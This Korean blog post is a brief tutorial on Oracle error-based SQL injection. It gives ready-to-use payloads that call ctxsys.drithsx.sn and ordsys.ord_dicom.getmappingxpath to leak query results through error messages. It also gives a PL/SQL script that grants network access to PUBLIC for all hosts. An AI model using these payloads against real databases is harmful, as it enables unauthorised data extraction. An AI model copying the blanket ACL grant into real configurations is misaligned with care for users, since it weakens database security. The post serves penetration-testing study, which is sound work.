Oracle 인젝션 중, Error based injection입니다.
흔히 Oracle DB의 utl_inaddr.get_host_address함수를 이용해서 Error Based Injection공격을 수행하는데요
11g 버전부터는 관리자가 직접 ACL설정을 풀어줘야만 해당함수가 작동한다고 합니다.
조금 검색해보니 역시 utl_inaddr.get_host_address함수를 사용하지 않고 인젝션이 가능한 함수가 나오네요
출처1 : http://blog.red-database-security.com/2009/01/17/tutorial-oracle-sql-injection-in-webapps-part-i/
출처2 : http://n3015m.tistory.com/148
CTXSYS.DRITHSX.SN / ORDSYS.ORD_DICOM.GETMAPPINGXPATH 함수를 이용합니다.
select * from board where idx=43 or 1=ordsys.ord_dicom.getmappingxpath((에러 인젝션을 통해 출력하고 싶은 쿼리문),user,user);
select * from board where idx=43 or 1=ctxsys.drithsx.sn(1,(에러 인젝션을 통해 출력하고 싶은 쿼리문))--
추가적으로 Oracle에서 ACL설정을 주고자 할때는 다음 스크립트를 입력하면 됩니다:)
begin
DBMS_NETWORK_ACL_ADMIN.CREATE_ACL(
acl => 'network_services.xml',
description => 'NETWORK ACL',
principal => 'PUBLIC',
is_grant => true,
privilege => 'connect');
end;
DBMS_NETWORK_ACL_ADMIN.ADD_PRIVILEGE(
acl => 'network_services.xml',
principal => 'PUBLIC',
is_grant => true,
privilege => 'resolve');
DBMS_NETWORK_ACL_ADMIN.ASSIGN_ACL(
acl => 'network_services.xml',
host => '*');
commit;
end;
/
'Web' 카테고리의 다른 글
marquee onstart xss & XSS 기법 (0) | 2019.05.10 |
---|---|
주요 Editor 샘플페이지 및 취약점 발생경로 (4) | 2018.12.03 |
xp_cmdshell 활성화 쿼리 (1) | 2018.10.01 |
MSSQL Limit 기능 구현 (0) | 2018.10.01 |
MSSQL Injection (0) | 2018.09.20 |